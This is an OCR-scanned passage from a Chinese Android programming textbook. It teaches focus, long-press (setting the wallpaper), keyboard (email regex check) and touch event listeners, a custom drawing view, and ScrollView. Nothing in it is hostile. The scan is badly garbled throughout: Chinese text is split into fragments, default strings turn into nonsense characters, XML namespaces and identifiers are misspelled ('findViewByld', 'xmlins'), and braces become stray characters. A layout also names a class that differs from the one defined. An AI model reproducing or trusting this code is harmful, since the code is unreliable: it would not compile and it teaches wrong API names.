先 要 指定 出 年 、 月 、 日 的 数据 ， 之 后 才 可 以 配置 OnDateChangedListener 监听 ， 但 是 不 管 是 日 期 
组 件 改变 或 者 是 时 间 组 件 改变 ， 都 会 调用 setDateTime( 方 法 修改 文本 组 件 中 的 日 期 时 间 内 容 ， 
旺 序 的 运行 效果 如 图 6-10 所 示 。 


CEE7TTTES 
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图 6-10 通过 日 期 组 件 和 时 间 组 件 配置 日 期 时 间 
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6.6 焦点 事件 


焦点 事件 是 指针 对 于 一 个 组 件 的 状态 的 监听 。 在 一 个 界面 中 往往 存在 多 种 组 件 ， 当 用 户 要 
操作 某 一 个 组 件 时 ， 就 表示 该 组 件 获得 了 焦点 。 如 当 需 要 输入 文本 时 ， 肯 定 要 选中 文本 框 ， 
此 时 文本 框 就 获得 了 焦点 《〈 如 图 6-11 所 示 ) ， 而 如 果 单 击 按钮 ， 则 表示 该 按钮 获得 了 焦点 (如 
图 6-12 所 示 ) ， 而 最 早 的 文本 框 就 失去 了 焦点 。 


输入 数据 ， 获 得 焦点 


文本 和 


图 6-11 文本 框 获得 焦点 图 6-12 ”按钮 获得 焦点 


在 android.view.View 类 中 专门 提供 了 一 个 View.OnFocusChangeListener 接口 用 于 监听 焦点 
改变 事件 ， 而 所 有 的 组 件 上 都 存在 有 监听 焦点 变化 的 方法 ， 其 语法 如 下 : 
public void setOnFocusChangeListener(View.OnFocusChangeListener |) 
下 面 为 了 更 好 地 说 明 焦点 问题 ， 通 过 一 个 实例 代码 来 说 明 。 本 程序 的 功能 是 提供 两 个 文本 
输入 框 ， 在 其 中 一 个 文本 输入 框 上 提供 焦点 的 改变 事件 ， 并 且 在 对 应 的 文本 组 件 中 显示 相关 的 
信息 。 

【 例 6-23】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<EditText /定义 文本 编辑 组 件 
android:id="@+id/edit” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:text=" 辜 和 纷 入 赫 询 认 下 "> /默认 文字 

<EditText /定义 文本 编辑 组 件 
android:id="@+id/msg” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content” // 组 件 高 度 为 文字 高 度 
android:text="www.rmlamiava.cn"/> /默认 文字 

<TextView // 文 本 显示 组 件 
android:id="@+id/txt” /| 组件 iD， 程序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 文字 高 度 

</LinearLayout> 


【 例 6-24】 定义 Activity 程序 ， 进 行 焦点 事件 监听 
package org.Ixh.demo; 
import android.app.Activity; 
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import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.view.View.OnFocusChangeListener; 
import android.widget.EditText'; 

import android.widget. TextView; 

public class MyFocusDemo extends Activity { 


private EditText edit = null: /定义 文本 输入 框 
private TextView txt = null; /定义 文本 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); /定义 布局 
this.edit = (EditText) super .findViewByld(R.id.edit); // 取 得 组 件 
this .txt = (TextView) super findViewByld(R.id.txt); // 取 得 组 件 
this.edit.setOnFocusChangeListener(new OnFocusChangeListenerImpl());// 焦 点 事件 
this.edit.setOnClickListener(new OnClickListenerImpl()) ; /设置 单 击 事件 
1 
private class OncClickListenerlImpl implements OnClickListener { ”// 单 击 事件 
@Override 
public void onClick(View view) { 
MyFocusDemo.this.edit.setText("™") ; // 清 空 文本 
} 
private class OnFocusChangeListenerlImpl implements OnFocusChangeListener { 
@Override 
public void onFocusChange(View v, boolean hasFocus) { 
if (v.getld() == MyFocusDemo.this.edit.getld()) { // 判 断 触 发 事件 的 组 件 
if (hasFocus) { 
MyFocusDemo.this.txt.setText(" 文 本 输入 组 件 获得 焦点 。");// 设 置 显示 文字 
}else{ 
if(MyFocusDemo.this.edit.getText().length() > 0) { ”// 判 断 输 入 数据 长 度 
MyFocusDemo.this.txt.setText(" 文 本 输入 组 件 失去 焦点 ， 输 入 内 容 
合法 。"); 
} else{ 
MyFocusDemo this txt.setText(" 文 本 输入 组 件 失去 焦点 ， 输 入 内 容 不 能 
为 空 。 ); 
} 
1 
} 
} 


} 

本 程序 在 edit 文本 框 组 件 上 定义 了 两 个 事件 。 

回 单 击 事件 ， 主要 的 目的 是 当选 中 此 文本 时 ， 可 以 将 所 有 的 内 容 清 除 干净 。 

回 焦点 事件 ， 当 用 户 离开 或 者 选择 edit 组 件 时 会 进行 相应 的 监听 ， 而 当 此 组 件 失去 焦点 
时 会 对 用 户 输入 的 数据 进行 验证 。 

本 程序 的 运行 效果 如 图 6-13 所 示 。 
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到 
LE 


MyrocusDemon 


www.mldnjava.cn 


图 6-13 失去 焦点 并 验证 


焦点 事件 在 很 多 情况 下 可 以 帮助 组 件 进行 一 些 初始 化 的 配置 操作 ， 或 者 是 像 本 程序 那样 完 
成 一 些 输入 验证 功能 ， 


主要 的 作用 就 是 在 组 件 获 得 焦点 或 者 是 失去 焦点 时 进行 事件 处 理 。 


67 长 按 事 件 


在 Android 中 提供 了 长 按 事 件 的 处 理 操 作 , 所 谓 的 长 按 事件 就 比如 长 按 某 一 个 组 件 2 秒 之 后 
才 会 触发 这 一 操作 ， 而 不 像 普通 的 单 击 事件 那样 ， 每 次 单 击 都 会 执行 一 次 。 长 按 事 件 使 用 View. 
OnLongClickListener 接口 进行 事件 的 处 理 操作 ， 此 接口 定义 如 下 : 

public static interface View.OnLongClickListener{ 


public boolean onLongClick(View v) ; 


} 

此 接口 可 以 处 理 使 用 setOnLongClickListener0 方 法 绑 定 的 事件 ， 当 事件 触发 之 后 使 用 
onLongClick() 方 法 执行 具体 的 事件 处 理 操作 。 下 面 使 用 长 按 事件 完成 一 个 较 有 意思 的 操作 ， 即 
程序 首先 使 用 ImageView 显示 一 张 图 片 ， 当 用 户 长 按 此 图 片 组 件 后 ， 会 将 其 设置 为 手机 的 桌面 
背景 。 要 想 完成 本 操作 ， 还 需要 Activity 类 实际 上 是 从 ContextWrapper 类 继承 而 来 ) 的 支持 ， 
在 Activity 类 中 定义 了 如 表 6-6 所 示 的 操作 方法 用 以 操作 手机 桌面 。 


表 6-6 Activity 类 中 定义 的 操作 手机 桌面 的 方法 
描述 
清除 已 有 的 手机 屏幕 
通过 Bitmap 设置 于 机 屏幕 
a 


public Drawable getWallpaperO 取得 当前 的 手机 屏幕 信息 

通过 表 6-6 可 以 发 现 ， 要 设置 手机 背景 图 片 ， 则 要 使 用 setWallpaper(0 方 法 ， 此 方法 可 以 接 
收 两 种 数据 类 型 : 一 种 是 包含 了 图 片 信息 的 Bitmap; 另 一 种 是 包含 了 图 片 信 息 的 InputStream。 
本 次 操作 将 使 用 InputStream 完成 图 片 信 息 的 设置 , Bitmap 的 相关 内 容 将 在 第 10 章 中 进行 讲解 。 

由 于 本 程序 中 的 所 有 图 片 资源 都 保存 在 了 drawable-x 文件 夹 之 中 ， 所 以 如 果 要 想 将 指定 的 
图 片 设置 为 背景 图 片 ， 就 要 取得 图 片 的 资源 (Resource) ， 而 要 想 取得 一 个 图 片 的 InputStream 
对 象 ， 则 需要 按照 如 下 方法 进行 : Resource 对 象 .openRawResource( 资 源 ID)。 

另外 ， 由 于 这 种 设置 手机 桌面 背景 的 操作 属于 手机 的 支持 服务 ， 所 以 首先 必须 得 到 相关 的 
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授权 后 才 可 以 执行 ， 则 需要 修改 AndroidManifest.xml 文件 ， 并 增加 以 下 的 授权 操作 : 
<Uses-permission android:name="android.permission.SET_WALLPAPER" /> 
此 处 的 权限 表示 人 允许 用 户 设 置 桌 面 背景 (android.permission.SET WALLPAPER) ， 授 权 之 
后 即 可 通过 具体 的 代码 实现 手机 背景 的 设置 。 
【 例 6-25】 定义 资源 文件 main.xml， 增 加 显示 图 片 
<?xml version= "1.0" encoding="utf-8"?> 


<LinearLayout // 使 用 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vertica/” // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 ， 用 于 信息 提示 

android:id="@+id/info” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" // 组 件 高 度 为 文字 高 度 
android:text=" 灰 终 属 睛 将 矶 车 为 站 夯 篆 提 /> /组 件 的 默认 显示 文字 
<ImageView // 图 片 显示 组 件 
android:id="@+id/img" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/mldn_bg"/> // 显 示 图 片 的 资源 ID 
</LinearLayout> 


在 本 配置 中 ， 定 义 了 一 个 文本 显示 组 件 和 一 个 图 片 显示 组 件 ， 如 果 用 户 长 按 图 片 ， 则 会 将 
图 片 设 置 为 桌面 背景 ， 并 且 在 文本 组 件 中 为 用 户 显示 提示 信息 。 

【 例 6-26】 编写 Activity 程序 ， 定 义 长 按 事件 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnLongClickListener; 

import android.widget.ImageView; 

import android.widget. TextView; 

public class MyLongClickDemo extends Activity { 


private ImageView img = null; // 定 义 图 片 视图 
private TextView info = null; /定义 文本 显示 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.img = (ImageView) super findViewByld(R.id.img); /取得 ImageView 
this.info = (TextView) super.findViewByld(R.id.nfo); // 取 得 TextView 
this.img.setOnLongClickListener(new OnLongClickListenerlImpl()); /定义 长 按 监 
上 
private class OnLongClickListenerImpl implements OnLongClickListener { 
@Override 
public boolean onLongClick(View view) { /长 按 事件 
try{ 
MyLongClickDemo.this.clearWallpaper(); // 清 除 已 有 的 桌面 


MyLongClickDemo.this.setWallpaper( 
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MyLongClickDemo.this.img.getResources() 
.openRawResource(R.drawable.mldn_bg)); /设置 新 的 桌面 背景 
MyLongClickDemo.this.info.setText(" 手 机 桌面 背景 已 修改 。"); /修改 显示 文字 
}catch (Exception e){ 
MyLongClickDemo.this.info.setText(" 手 机 桌面 背景 设置 失败 。");// 修 改 显示 文字 
b 


return true; 
} 
} 


} 

在 本 程序 中 ， 首 先 通过 findViewById0 方 法 取得 ImageView 和 TextView 组 件 ， 而 后 在 
ImageView 上 设置 了 长 按 事件 (setOnLongClickListener()) ， 而 在 OnLongClickListener 接口 的 子 
类 之 中 ， 首 先 使 用 clearWallpaper() 方 法 清除 已 有 的 桌面 背景 ， 而 后 使 用 setWallpaper() 方 法 将 指 
定 的 资源 文件 设置 为 显示 背景 ， 程 序 的 运行 效果 如 图 6-14 所 示 。 

CE SE CE 5 
苦 ol 出 15:11 甘 | 出 15:11 


轻 甬 以 选择 音乐。 > [a 
www. 麻 乐 .com 
3G/4G 研 究 中 心 
上 | 
区 
(a) 程序 运行 (b) 设置 背景 


图 6-14 程序 运行 效果 


6.8 键盘 事件 


键盘 事件 主要 用 于 进行 键盘 的 监听 处 理 操作 ， 例 如 ， 用 户 输入 某 些 内 容 之 后 ， 可 以 直接 通 
过 键盘 事件 进行 跟踪 。 下 面 在 文本 框 上 设置 键盘 的 操作 事件 ， 将 文本 框 每 次 输入 的 内 容 直 接 增加 
到 文本 显示 组 件 中 。 键 盘 事件 使 用 View.OnKeyListener 接口 进行 事件 的 处 理 ， 此 接口 定义 如 下 : 


public static interface View.OnKeyListener{ 


public boolean onKey(View v, int keyCode, KeyEvent event) ; 


} 

View.OnKeyListener 接口 用 于 处 理 setOnKeyListener() 方 法 所 绑 定 的 事件 ， 当 键盘 事件 触发 
之 后 将 自动 使 用 onKey() 方 法 进行 事件 的 处 理 ，onKey() 方 法 返回 boolean 值 ， 一 般 返 回 false， 此 
方法 中 有 3 个 参数 ， 作 用 如 下 。 

View: 表示 操作 此 事件 的 组 件 。 

keyCode: 对 应 着 按键 的 编码 数字 。 
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回 KeyEvent: 表示 触发 的 事件 对 象 。 


下 面 通过 键盘 事件 使 用 正则 表达 式 完成 一 个 email 的 验证 操作 ， 当 用 户 输入 合法 的 email 地 
址 之 后 ， 会 显示 一 张 表 示 正 确 的 图 片 ， 如 果 用 户 输入 的 email 有 错误 ， 则 显示 表示 错误 的 图 片 。 


so 


_/ 提 示 
关于 正则 表达 式 。 


使 用 正则 表达 式 可 以 方便 地 完成 数据 的 验证 、 拆 分 、 替 换 等 操作 ， 也 是 在 开发 中 使 用 较 
多 的 一 种 技术 ， 如 果 读 者 对 此 技术 不 清楚 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 


11 章 的 内 容 。 


【 例 6-27】 在 main.xml 中 定义 组 件 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /定义 线性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="horizontal" /所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 辜 答 入 email 冀 秦 : > // 默 认 显 示 文 字 
<EditText // 文 本 输入 组 件 
android:id="@+id/input” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:selectAllOnFocus="true"/> // 默 认 获 得 焦点 
<ImageView /| 图片 视图 ， 显 示 图 片 信息 
android:id="@+id/img” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/wrong"/> // 默 认 显 示 图 片 
</LinearLayout> 


在 本 配置 中 主要 就 是 文本 输入 组 件 和 图 片 显 示 组 件 ， 当 用 户 输 入 正确 的 email 地 址 之 后 , 图 


片 显 示 组 件 会 修改 使 用 图 片 的 资源 ID， 使 用 正确 的 图 片 显示 。 
【 例 6-28】 定义 Activity 程序 进行 事件 操作 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.KeyEvent'; 
import android.view.View; 
import android.view.View.OnKeyListener; 
import android.widget.EditText; 
import android.widget.ImageView; 
public class MyKeyDemo extends Activity { 


private EditText input = null; // 取 得 文本 输入 组 件 
private ImageView img = null; /定义 图 片 显示 组 件 
@Override 
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public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R. 
this.input = (EditText) suyl 


layout.main); /调用 布局 管理 器 
per.findViewByld(R.id.inpub; /取得 文本 输入 组 件 


this.img = (ImageView) super.findViewByld(R.id.img); /取得 图 片 显 示 组 件 
this.input.setOnKeyListener(new OnKeyListenerlmpl()); // 设 置 监听 


} 


private class OnKeyListenerImpl implements OnKeyListener { 


@Override 


public boolean onKey(View v, int keyCode, KeyEvent event) { 
switch(event.getAction()) { 


case KeyEvent.ACTION_UP: // 键 盘 松 开 事件 触发 
String msg = MyKeyDemo.this.input.getText().toString(); /取出 已 输入 内 容 
if (msg.matches("\w+@\w+\ Ww+")) { // 判 断 是 否 是 email 地 址 
MyKeyDemo.this.img.setlImageResource(R.drawable.right); // 设 置 图 片 ID 
}else{ 
MyKeyDemothis.img.setlmageResource(R.drawable.wrong); /设置 图 片 ID 
bh 
case KeyEvent.ACTION_DOWN: // 键 盘 按 下 事件 触发 
default: 
break ; 


return false; 


1 
} 


} 
本 程序 在 文本 输入 组 件 上 设置 


(OnKeyListenerImpl) 中 得 到 用 户 输 入 


// 继 续 事件 应 有 的 流程 


了 一 个 键盘 事件 (OnKeyListener) ， 而 后 在 事件 处 理 类 


[ET 


的 数据 ， 并 使 用 正则 表达 式 进 行 验证 ， 贾 基 胃 四 1036 


如 果 验 证 通过 则 显示 正确 的 图 


之 ， 则 显示 错误 的 图 片 。 程 序 的 运行 效 


果 如 图 6-15 所 示 。 


mldnqa@163.com EY 


图 6-15 email 地 址 输入 正确 


在 键盘 事件 的 处 理 中 , 由 于 要 针对 


按键 的 状态 进行 处 理 , 所 以 在 本 程序 9 
ACTION_DOWN) ， 则 暂时 不 处 理 ; 


ph 采用 switch 的 方法 进行 判断 , 如 果 是 键盘 按 下 (KeyEvent. 
而 如 果 是 键盘 松 开 〈KeyEventACTION UP) ， 则 要 取得 


输入 数据 之 后 使 用 正则 表达 式 进行 验证 。 


6.9 


触摸 事件 


触摸 事件 (OnTouchListener) 指 的 是 当 用 户 接触 到 屏幕 之 后 所 产生 的 一 种 事件 形式 ， 而 当 用 
户 在 屏幕 上 划 过 时 ， 可 以 使 用 触摸 事件 取得 用 户 当 前 的 坐标 。OnTouchListener 接口 的 定义 如 下 : 


public interface View.OnTouchListener { 


public abstract boolean onTouch (View v, MotionEvent event) ; 


} 
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当 用 户 触摸 屏幕 之 后 会 自动 执行 onTouch0 方 法 进行 处 理 ,同时 会 自动 产生 一 个 MotionEvent 
事件 类 的 对 象 ， 通 过 此 对 和 象 可 以 取得 用 户 当前 的 义 坐标 和 YY 坐标， 下面 先 通过 一 个 简单 的 程序 
演示 此 事件 的 操作 。 

【 例 6-29】 定义 布局 文件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线 性 布局 管理 器 
xmlns:android= "httip:Vschemas.android.comxyapkres/anadroid" 
android:orientation="vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= "WL_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/info” // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="fill_parent” /> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


在 本 布局 文件 中 ， 只 定义 了 一 个 TextView 组 件 ， 而 OnTouch 操作 将 绑 定 在 此 组 件 上 完成 ， 
当 用 户 每 次 触摸 屏幕 时 都 会 显示 触摸 的 XX 和 YY 坐标 。 
【 例 6-30】 定义 Activity 程序 完成 触摸 事件 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.MotionEvent'; 
import android.view.View; 
import android.view.View.OnTouchListener; 
import android.widget. TextView; 
public class MyTouchDemo extends Activity { 
private TextView info = null; 1// 取 得 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 文件 
this.info = (TextView) super .findViewByld(R.id.info); // 取 得 组 件 
this.info.setOnTouchListener(new OnTouchListenerlmpl()); /设置 事件 监听 
} 
private class OnTouchListenerImpl implements OnTouchListener { 
@Override 
public boolean onTouch(View v, MotionEvent event) { 
MyTouchDemo.this .info.setText("X = "+ event.getX()+", Y=" 
+ event.getY()); // 设 置 文 本 
return false; 
} 
} 
} 
在 本 程序 中 首先 取得 了 TextView 组 件 , 而 后 在 组 件 上 使 用 setOnTouchListener() 方 法 设置 了 
-个 触摸 事件 ， 当 用 户 触摸 TextView 时 会 自动 在 文本 组 件 上 显示 当前 的 坐标 ， 程 序 的 运行 效果 


如 图 6-16 所 示 。 
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图 6-16 显 


通过 以 上 程序 读者 应 该 已 经 清楚 了 触摸 


示 当 前 坐标 


有 件 的 基本 作用 ， 那 么 如 何 使 用 此 事件 呢 ?” 在 


Android 手机 中 ， 有 一 种 文字 输入 法 是 采用 手写 的 形式 完成 的 ， 所 以 下 面 就 使 用 触摸 事件 完成 一 


个 简单 的 绘图 程序 开发 。 


p 


提示 
本 程序 的 知识 点 将 在 第 10 章 中 讲解 。 


由 于 本 程序 要 涉及 一 些 绘图 的 知识 点 ， 而 这 些 知识 点 将 在 第 10 章 中 讲解 ， 所 以 本 程序 


只 
人 


是 进行 一 些 功能 


由 


4 演示 ， 读 者 可 以 选择 性 地 进行 了 解 。 


F OnTouch 事件 是 在 View 类 中 定义 的 ， 所 以 如 果 要 想 完成 绘图 的 操作 ， 首 先 应 该 定义 
-个 属于 自己 的 组 件 ， 该 组 件 专门 进行 绘图 板 的 功 


台 5 导 


能 实现 ， 而 且 组 件 类 一 定 要 继承 View 类 ， 即 


相当 于 用 户 定义 了 一 个 新 的 组 件 类 ， 同 时 要 履 写 View 类 中 的 onDraw0 绘 图 方法 。 


【 例 6-31】 定义 新 的 组 件 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.Iterator; 
import java.util.List; 
import android.content.Context; 
import android.graphics.Canvas; 
import android.graphics.Color; 
import android.graphics.Paint; 
import android.graphics.Point; 
import android.util.AttributeSet; 
import android.view.MotionEvent'; 
import android.view.View; 
public class MyPaintView extends View { 


MyPaintView.java 


private List<Point> allPoint = new ArrayList<Point>(); 
public MyPaintView(Context context ,AttributeSet set) { 


super(context, set); 


super.setBackgroundColor(Color. WHITE); 
super.setOnTouchListener(new OnTouchListenerImpl()); 


} 


// 保 存 所 有 的 坐标 点 
// 构 造 方法 

// 调 用 父 类 构造 
/设置 背景 颜色 
/设置 触摸 事件 


private class OnTouchListenerimpl implements OnTouchListener { /触摸 事件 


@Override 


public boolean onTouch(View v, MotionEvent event) { 


// 使 用 Point 类 记录 当前 的 X 和 


/1/ 判 断 按 下 
Y 坐标 


Point p = new Point((int) event.getX(), (int) event.getY()); 
if (event.getAction() == MotionEvent.ACTION_DOWN) { /独断 抬 起 


allPoint = new ArrayList<Point>(); 


allPoint.add(p); 


// 开 始 新 的 记录 
// 记 录 坐 标点 


} else if (event.getAction() == MotionEvent.ACTION_UP) { 


allPoint.add(p); 


/记录 坐标 点 
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MyPaintView.this.postinvalidate(); // 重 绘 
} else if (event.getAction() == MotionEvent.ACTION_MOVE){ 
allPoint.add(p); 1/ 记录 坐标 点 
MyPaintView.this.postlnvalidate(); // 重 绘 
} 
return true; 
} 
} 
@Override 
protected void onDraw(Canvas canvas) { // 进 行 绘图 
Paint p = new Paint(); // 进 行 绘图 
p.setColor(Color.RED); /设置 颜色 
if (allPoint.size() > 1) { /保存 有 坐标 
lterator<Point> iter = allPoint.iterator(); 1/ 迭代 输出 坐标 
Point first = null; // 开 始点 
Point last = null; // 结 束 点 
While (iter.hasNext()) { 1/ 迭 代 输 出 
if (first == nuIl) { /找到 开始 点 
first = (Point) iter.next(); 
}else{ 
if (last {= null) { 
first = last; /修改 开始 点 
} 
last = (Point) iter.next(); /| 结束 点 
canvas.drawLine(first.x, first.y, last.x, last.y, p); // 画 线 
} 
| 
} 
b 


} 
本 程序 触摸 事件 处 理 中 ， 分 别 将 每 一 个 用 户 所 触摸 到 的 屏幕 点 都 使 用 List 进行 记录 ， 而 后 
在 onDraw() 方 法 中 ,将 这 些 记录 的 坐标 点 使 用 Canvas 进行 绘图 的 操作 ， 而 本 次 绘制 的 是 一 条 线 
(canvas.drawLine()) 。 
-个 新 的 View 组 件 定义 完成 后 ， 下 面 还 需要 在 布局 管理 器 中 配置 此 组 件 。 
【 例 6-32】 在 布局 管理 器 中 配置 新 建 的 View 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<org.Ixh.demo.PaintView // 自 定义 组 件 
android:id="@+id/paintView” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” /> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


本 程序 与 之 前 程序 最 大 的 区 别 就 在 于 ， 此 时 所 配置 的 组 件 是 用 户 自 定义 的 ， 所 以 在 配置 组 
件 时 要 写 上 组 件 所 在 类 的 完整 的 “ 包 .类 ”名 称 。 
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【 例 6-33】 定义 Activity 程 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
public class MyTouchDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
} 
由 于 本 程序 不 需要 对 组 件 的 操作 , 所 以 在 Activity 程序 中 只 是 简单 地 调用 了 布局 管理 器 , 程 
序 的 运行 效果 如 图 6-17 所 示 。 
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触摸 事件 
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图 6-17 自 定义 绘图 组 件 


6.10 本 章 小 结 


(1) 事件 处 理 一 定 要 有 事件 源 ， 之 后 根据 设置 的 事件 处 理 类 的 不 同 ， 执 行 的 操作 也 不 同 ， 
每 个 组 件 基 本 上 都 存在 自己 的 事件 监听 操作 。 

(2) 单 击 事件 指 在 组 件 选中 时 进行 触发 。 

(3) 使 用 下 拉 列 表 框 可 以 完成 级 联 子 菜单 的 显示 操作 。 

(4) 键盘 事件 可 以 对 用 户 输入 的 数据 进行 监听 。 

(5) 触摸 事件 可 以 在 用 户 单 击 屏幕 时 进行 监听 ， 使 用 触摸 事件 可 以 完成 绘图 的 基本 操作 。 
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通过 本 章 的 学 习 可 以 达到 以 下 目标 : 
可 以 使 用 ScrollView、ListView、Gallery、GridView 组 件 进 行 界面 显示 。 
可 以 使 用 SeekBar、RatingBar、AnalogClock、DigitalClock、Chronometer 组 件 进行 操作 。 
可 以 使 用 ImageSwitcher 和 TextSwitcher 组 件 进行 图 片 及 文字 的 切换 。 
可 以 使 用 Dialog、Toast 组 件 显示 用 户 的 提示 信息 。 
可 以 使 用 TabHost 组 件 对 应 用 程序 进行 归 类 。 
可 以 使 用 Menu 组 件 完成 用 户 自 定义 菜单 的 操作 。 
可 以 使 用 SlidingDrawer 组 件 节约 界面 空间 。 
Android 中 有 大 量 的 图 形 组 件 ， 除 了 之 前 讲解 的 基本 组 件 之 外 ， 还 有 诸如 切换 组 件 、 提 示 组 
件 和 菜单 等 常用 组 件 。 本 章 将 结合 布局 管理 器 .事件 处 理 等 机 制 讲 解 Android 中 基本 控件 的 使 用 。 


办 区 办 办 多 办 向 


7.1 滚动 视图 : ScrollView 


由 于 手机 屏幕 的 高 度 有 限 ， 在 面 对 组 件 要 显示 多 组 信息 时 ，ScrollView 视图 滚动 视图 ) 可 
以 有 效 地 安排 这 些 组 件 ， 浏 览 时 可 以 自动 地 进行 滚屏 的 操作 。 

android.widget.ScrollView 类 的 继承 结构 如 下 : 

java.lang.Object 


b android.view.View 
bandroid.view.ViewGroup 
b android.widget.FrameLayout 


b android.widget.ScrollView 
通过 ScrollView 类 的 继承 关系 可 以 发 现 ， 此 类 继承 了 FrameLayout 布局 管理 器 ， 所 以 使 用 
ScrollView 实际 上 也 就 相当 于 定义 了 一 个 新 的 布局 管理 器 ， 下 面 通 过 ScrollView 组 件 进 行 讲解 。 
【 例 7-1】 ScrollView 视图 的 定义 格式 


<?xml version="1.0" encoding="utf-8"?> 


<ScrollView /滚动 视图 
xmlns:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/myscroll" /滚动 视图 ID 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout /内 访 线 性 布局 管理 器 


xmlns:android= http:Jschemas.androiacomyapkresanaroid” 
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android:id="@+id/mylinear” /内 赃 布 局 管理 器 ID 

android:orientation="vertical” // 所 有 组 件 垂 直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
</LinearLayout> 


</ScrollView> 
通过 以 上 代码 片段 可 以 发 现 , 滚动 视图 的 使 用 形式 
与 各 个 布局 管理 器 的 操作 形式 类 似 , 唯一 不 同 的 是 所 有 
的 布局 管理 器 中 均 可 以 包含 多 个 组 件 ， 而 滚动 视图 中 只 
能 有 一 个 组 件 。 因 此 ， 所 谓 的 滚动 视图 是 指 提供 一 个 专 
门 的 容器 ， 该 容器 中 可 以 装 下 多 于 屏幕 宽度 的 组 件 ， 而 
后 采用 拖 搜 的 方式 显示 所 有 在 ScrollView 中 的 组 件 , 这 
-形式 如 图 7-1 所 示 。 图 7-1 滚动 视图 原理 


只 能 包 衷 一 个 元 素 。 

在 使 用 ScrollView 组 件 时 一 定 要 注意 ，ScrollView 只 能 包 衰 一 个 直接 的 子 元 素 ( 往往 是 一 
个 内 赃 布 局 管理 器 ) ， 而 不 能 包含 多 个 组 件 ， 否 则 程序 的 执行 将 出 现 如 下 的 错误 信息 : 

ERROR/AndroidRuntime(332): Caused by: java.lang.lllegalStateException: ScrollView can host 
only one direct child 


